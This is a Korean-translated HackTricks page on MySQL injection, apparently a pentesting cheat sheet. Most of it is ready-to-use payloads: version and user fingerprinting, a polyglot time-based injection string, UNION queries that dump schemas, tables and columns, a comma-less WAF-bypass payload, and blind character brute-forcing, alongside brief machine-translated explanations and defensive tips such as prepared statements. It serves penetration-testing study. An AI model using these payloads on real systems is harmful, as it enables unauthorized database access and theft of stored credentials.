MySQL injection

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

​​RootedCON스페인에서 가장 중요한 사이버 보안 행사 중 하나로 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 이 회의는 모든 분야의 기술과 사이버 보안 전문가들의 뜨거운 만남의 장입니다.

Comments

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

흥미로운 함수들

Mysql 확인하기:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

유용한 함수들

The following functions can be useful when performing MySQL injection attacks:

다음 함수들은 MySQL 인젝션 공격을 수행할 때 유용할 수 있습니다:

  • version(): Returns the version of the MySQL server.

  • database(): Returns the name of the current database.

  • user(): Returns the username used to connect to the MySQL server.

  • current_user(): Returns the current MySQL user.

  • @@hostname: Returns the hostname of the MySQL server.

  • @@datadir: Returns the data directory of the MySQL server.

  • @@basedir: Returns the base directory of the MySQL server.

  • @@version_compile_os: Returns the operating system on which the MySQL server was compiled.

  • @@secure_file_priv: Returns the directory where the server can write files.

  • @@global.have_ssl: Returns whether the server supports SSL.

  • @@global.version_compile_machine: Returns the machine type on which the MySQL server was compiled.

  • @@global.version: Returns the version of the MySQL server.

  • @@global.version_comment: Returns the comment associated with the MySQL server version.

These functions can provide valuable information about the MySQL server, which can be used to further exploit vulnerabilities or gain unauthorized access.

이러한 함수들은 MySQL 서버에 대한 유용한 정보를 제공할 수 있으며, 이를 통해 취약점을 더욱 악용하거나 무단 접근을 시도할 수 있습니다.

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

모든 인젝션

MySQL 인젝션

MySQL 인젝션은 웹 응용 프로그램에서 발생하는 일반적인 보안 취약점 중 하나입니다. 이 취약점은 악의적인 사용자가 웹 응용 프로그램의 데이터베이스에 액세스하고 조작할 수 있는 기회를 제공합니다. MySQL 인젝션은 주로 사용자로부터 입력 받은 데이터를 적절하게 검증하지 않을 때 발생합니다.

MySQL 인젝션의 종류

  1. Union-based 인젝션

  2. Boolean-based 인젝션

  3. Error-based 인젝션

  4. Time-based 인젝션

  5. Blind 인젝션

Union-based 인젝션

Union-based 인젝션은 UNION SQL 연산자를 이용하여 데이터베이스의 정보를 추출하는 기법입니다. 이 기법은 데이터베이스의 테이블을 조작하거나 데이터를 삭제하는 데 사용될 수 있습니다.

Boolean-based 인젝션

Boolean-based 인젝션은 SQL 쿼리의 결과에 따라 참과 거짓을 판별하여 데이터베이스의 정보를 추출하는 기법입니다. 이 기법은 불리언 연산자를 이용하여 데이터베이스의 정보를 조작할 수 있습니다.

Error-based 인젝션

Error-based 인젝션은 SQL 쿼리에서 발생하는 오류 메시지를 이용하여 데이터베이스의 정보를 추출하는 기법입니다. 이 기법은 오류 메시지를 통해 데이터베이스의 구조와 데이터를 파악할 수 있습니다.

Time-based 인젝션

Time-based 인젝션은 SQL 쿼리의 실행 시간을 이용하여 데이터베이스의 정보를 추출하는 기법입니다. 이 기법은 시간 지연 함수를 이용하여 데이터베이스의 정보를 확인할 수 있습니다.

Blind 인젝션

Blind 인젝션은 데이터베이스의 정보를 추출하는 과정에서 결과를 웹 응용 프로그램으로 반환하지 않는 기법입니다. 이 기법은 데이터베이스의 정보를 추측하고 추출하기 위해 다양한 기법을 사용합니다.

인젝션 방지를 위한 조치

MySQL 인젝션을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다.

  • 입력 데이터의 유효성 검사

  • Prepared Statements 사용

  • 웹 응용 프로그램의 권한 제한

  • 에러 메시지 노출 제한

  • 웹 응용 프로그램의 소스 코드 검토

MySQL 인젝션은 웹 응용 프로그램의 보안을 위협하는 중요한 취약점입니다. 따라서 개발자와 보안 전문가는 이러한 인젝션 기법을 이해하고 방지하기 위해 항상 주의해야 합니다.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

플로우

"현대" 버전의 MySQL에서는 "information_schema.tables" 대신 "mysql.innodb_table_stats"를 대체할 수 있다는 것을 기억하십시오 (이는 WAF를 우회하는 데 유용할 수 있습니다).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

하나의 값만

  • group_concat()

  • Limit X,1

하나씩 블라인드

  • substr(version(),X,1)='r' 또는 substring(version(),X,1)=0x70 또는 ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

블라인드 추가

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

열의 수 감지

간단한 ORDER 사용

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

MySQL Union Based는 SQL Injection 공격의 일종으로, UNION 연산자를 이용하여 데이터베이스에서 정보를 추출하는 기법입니다.

공격 원리

MySQL Union Based 공격은 다음과 같은 단계로 진행됩니다:

  1. 공격자는 취약한 웹 애플리케이션의 입력 폼에 SQL Injection 페이로드를 삽입합니다.

  2. 취약한 쿼리에 UNION 연산자를 사용하여 결과를 조작합니다.

  3. UNION 연산자를 사용하여 쿼리 결과를 조작하면, 공격자는 데이터베이스에서 정보를 추출할 수 있습니다.

공격 예시

다음은 MySQL Union Based 공격의 예시입니다:

SELECT column1, column2 FROM table1 WHERE id = '1' UNION SELECT username, password FROM users WHERE '1'='1'

위의 예시에서, UNION 연산자를 사용하여 column1column2의 결과를 조작하고, users 테이블에서 usernamepassword를 추출합니다.

방어 대책

MySQL Union Based 공격을 방어하기 위해서는 다음과 같은 대책을 적용해야 합니다:

  • 입력 검증: 사용자 입력을 검증하여 악의적인 SQL 코드를 필터링합니다.

  • Prepared Statements: Prepared Statements를 사용하여 쿼리를 실행하면, 입력 값이 자동으로 이스케이프되어 SQL Injection 공격을 방지할 수 있습니다.

  • 웹 방화벽: 웹 방화벽을 사용하여 악의적인 SQL Injection 시도를 차단할 수 있습니다.

MySQL Union Based 공격은 취약한 웹 애플리케이션에서 발생할 수 있는 심각한 보안 취약점입니다. 따라서 개발자와 보안 전문가는 이러한 공격을 방지하기 위해 적절한 대책을 적용해야 합니다.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

여기에서는 Mysql 인젝션을 악용하여 SSRF를 얻는 다양한 옵션을 배울 수 있습니다. 여기에서 확인하세요.

WAF 우회 트릭

Information_schema 대안

"현대" 버전의 MySQL에서는 information_schema.tables 대신 mysql.innodb_table_stats 또는 sys.x$schema_flattened_keys 또는 sys.schema_table_statistics를 사용할 수 있습니다.

콤마 없이 MySQL 인젝션

콤마를 사용하지 않고 2개의 열을 선택합니다 (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

열 이름 없이 값 검색하기

어떤 시점에서 테이블의 이름은 알지만 테이블 내부의 열 이름은 모르는 경우, 다음과 같이 실행하여 몇 개의 열이 있는지 찾아볼 수 있습니다.

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

가정해보자. 2개의 열이 있다. (첫 번째 열은 ID이고, 다른 하나는 flag이다.) flag의 내용을 문자 단위로 브루트포스하여 시도할 수 있다.

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

더 많은 정보는 https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952에서 확인할 수 있습니다.

MySQL 역사

MySQL 내부에서 다른 실행 내역을 확인하려면 테이블 sys.x$statement_analysis를 읽으면 됩니다.

대체 버전

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

기타 MYSQL 인젝션 가이드

참고 자료

​​​​RootedCON스페인에서 가장 관련성 높은 사이버 보안 행사이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated